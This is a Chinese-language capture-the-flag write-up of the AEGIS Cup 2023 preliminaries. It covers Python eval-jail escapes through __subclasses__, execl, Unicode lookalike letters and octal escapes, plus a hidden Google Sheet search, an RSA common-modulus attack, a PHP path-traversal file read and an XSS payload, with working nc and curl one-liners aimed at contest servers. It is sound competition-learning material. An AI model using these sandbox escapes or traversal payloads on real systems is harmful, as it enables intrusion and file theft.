# 神盾盃2023初賽
## Jail1
### Source code
```python
while True:
ip = input("AEGIS> ")
if 'hint' in ip.lower():
print(__import__('os').system('cat jail.py'))
exit()
try:
if 'flag' in ip.lower():
print("Sorry, I don't like any \"FLAG\"!")
continue
print(eval(ip))
except Exception as error:
print("ERROR:", error)
print("Good luck next time!")
pass
```
### Recon
應該是基本的jail escape，可以看到source code中擋掉了flag string，所以可以直接用萬用字元一樣畫葫蘆就拿到flag，水題中的水題
### Exploit
```bash
$ echo "print(__import__('os').system('cat fla*'))" | nc 35.234.20.42 8000
```
Flag: `AEGIS{600d_j0b_70_byp455_fl46}`
## Jail2
### Background
SSTI
### Source Code
```python
while True:
ip = input("AEGIS> ")
if 'hint' in ip.lower():
print(__import__('os').system('cat jail.py'))
exit()
try:
print(eval(ip, {"__builtins__": {}}, {"__builtins__": {}}))
except Exception as error:
print("ERROR:", error)
print("Good luck next time!")
pass
```
### Recon
也是水題，既然block掉\_\_builtins\_\_ function，代表我們沒辦法使用print之類的function，但和前面的邏輯一樣，自己import就好
### Exploit - SSTI
```python
$ echo "().__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['execl']('/bin/cat', 'cat', './flag.t
xt')" | nc 35.201.222.158 8000
```
Flag: `AEGIS{und3rl1n3\_c4n\_d0\_4\_l07_7h1n65}`
## Jail3
### Background
[the pepsi place](https://blog.pepsipu.com/posts/albatross-redpwnctf)
### Source Code
```python
while True:
ip = input("AEGIS> ")
if 'hint' in ip:
print(__import__('os').system('cat jail.py'))
exit()
try:
if any (i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' for i in ip):
print("I don't like any \"LETTER\"!")
continue
print(eval(ip, {"__builtins__": {}}, {"__builtins__": {}}))
except Exception as error:
print("ERROR:", error)
print("Good luck next time!")
pass
```
### Recon
這一題承接上一題，不只block \_\_builtins\_\_ function，更不能輸入任何ascii letters，所以沒有解出來，我在想有沒有類似jsfuck的東西可以scramble python code或是一些magic method是不需要字母的
### Exploit - 賽後解
賽後有跟其他隊伍交流一下這一題，用的方法其實就是換個encoding或是字形，實際的手法也是採用原本的SSTI，而前半段的方式有點像是splitline寫的[Domain Obfuscator](https://splitline.github.io/domain-obfuscator/)，把一些常見的字元換掉，在trytry看本地端可不可以過，我是採用和提供payload的朋朋一樣的字形(可以參考[這個網站](https://tw.piliapp.com/instagram/fonts/))$\to$`().__𝖈𝖑𝖆𝖘𝖘__.__𝖇𝖆𝖘𝖊𝖘__[0].__𝖘𝖚𝖇𝖈𝖑𝖆𝖘𝖘𝖊𝖘__()[127].__𝖎𝖓𝖎𝖙__.__𝖌𝖑𝖔𝖇𝖆𝖑𝖘__`
但後面的部分就沒辦法用相同的辦法構造，不過python也支援用八進制表示ascii，所以轉換一下就可以拿到flag
```python!
$ echo FLAG{test_123} > flag.txt
$ echo "().__𝖈𝖑𝖆𝖘𝖘__.__𝖇𝖆𝖘𝖊𝖘__[0].__𝖘𝖚𝖇𝖈𝖑𝖆𝖘𝖘𝖊𝖘__()[127].__𝖎𝖓𝖎𝖙__.__𝖌𝖑𝖔𝖇𝖆𝖑𝖘__['\145\170\145\143\154']('/\142\151\156/\143\141\164', '\143\141\164', './\146\154\141\147.\164\170\164')" | python jail.py
AEGIS> FLAG{test_123}
```
## Hidden Sheet
### Recon
這一題只有給兩個google sheet，但仔細看會發現其中一個worklist(也就是flag)是被隱藏的我們看不到也不能切換過去，應該是沒有開放權限的關係，所以我們可以直接用一些功能確認其中的內容為何
### Exploit
利用google spreadsheat的 尋找與取代功能 爆搜隱藏的sheet 「flag」，AEGIS{xx…x}，`{` 在E1，`}` 在AJ1，接著就慢慢報搜
Flag: `AEGIS{G00gl3_5h33t5_15_v3Ry_p0Pul4r}`

### Recon
他會先用itertool產生16種不同的peko(就是大小寫不一樣)，然後可以對應hex，接著阿把flag中每一個字元，用04x的方式產生，假設是字元A，就會是0041，然後會把每一個字元用peko表示，我是想說可以直接隨便assign不同的peko，然後在字頻分析但這樣行不通，因為peko是已經變成hex的結果再轉變成peko，不是單純的ascii
### Exploit from 劉沛凡
賽後有和沛凡求解這一題，就是字頻分析，然後抓出不同的peko對應到哪一個hex digit這樣

### Recon
這題直覺應該是共模攻擊，詳細可以看[模數相關攻擊 - CTF Wiki](https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_module_attack/#_7)，反正他有很多的e，每一個e如果都除以3都會是prime，也就是達成了這個攻擊的條件，$e_1$,$e_2$互質/$N$相同/也拿到$c_1$,$c_2$，我寫的script如下，但不知道是哪邊出了問題
$$
c_1=m^{e_1}\ (mod\ N)\\
c_2=m^{e_2}\ (mod\ N)\\
\because s*({e_1\over 3}) + t*({e_2\over 3}) = 1(歐基里德擴展)\\
\therefore s*e_1 + t* e_2 = 3\\
c_1^s * c_2^t = m^{e_1\cdot s+e_2\cdot t} = m^3\ (mod\ N)
$$
:::info
[23/10/23 更新]: 賽後有和沛凡和asef討論這個題目，終於知道問題出在哪邊，當我們解出$m^3$時，要記得$mod\ n$，然後找到$m$的方式就是暴力搜，暴力搜得意思是因為我們拿到的$m^3$其實是$mod\ N$的結果，代表要找到真正的flag可能要再加上數個$N$才會是原本的flag，也就是$flag \equiv m^3\ (mod\ N)\to flag=k\cdot N+m^3|k\in \mathbb{Z}$，所以我們只要暴力找到那個$k$使得$m^3$開三次方根是整數就代表我們找到真正的flag了

### Recon
這一題主要是LFI的洞，然後查看封包會發現只要輸入的參數component內容中有帶入`cpu|gpu|hd|io|ram|psu`等特定字，就會過preg_match，然後我們可以加上`../flag.php`之類的路徑，最後他會吐出該檔案中的內容(如果該檔案存在)
### Exploit - LFI
這一題不知道為啥在本地端自己測試的時候會成功讀取到flag，但是在server side就爛掉了
```bash
$ curl -X POST http://35.236.149.150/computer_componets/index.php -d "component=ram../../../../flag.php"
```
## 🍎🍌🍉🍎🍌🍉
### Recon
這一題有非常明顯的XSS，用burp看package直接把參數換成script tag就好，然後…，就沒有然後了，我不會後續的利用 QAQ
### Exploit - XSS
```bash
$ curl -X POST 34.80.25.177:5000 --data "fruit_selector=<script>alert(123);</script>"
```
:::info
23/10/22 更新: 今天有跟Kaibro聊一下這一題，如果是XSS的洞通常連不到後端，因為本身就只是前端的洞，不過如果可以利用一些社交工程或是session hijacking的技術拿到後端的帳密，也是有不錯的傷害，但我猜這一題應該不是考XSS，應該還有其他更明顯的洞
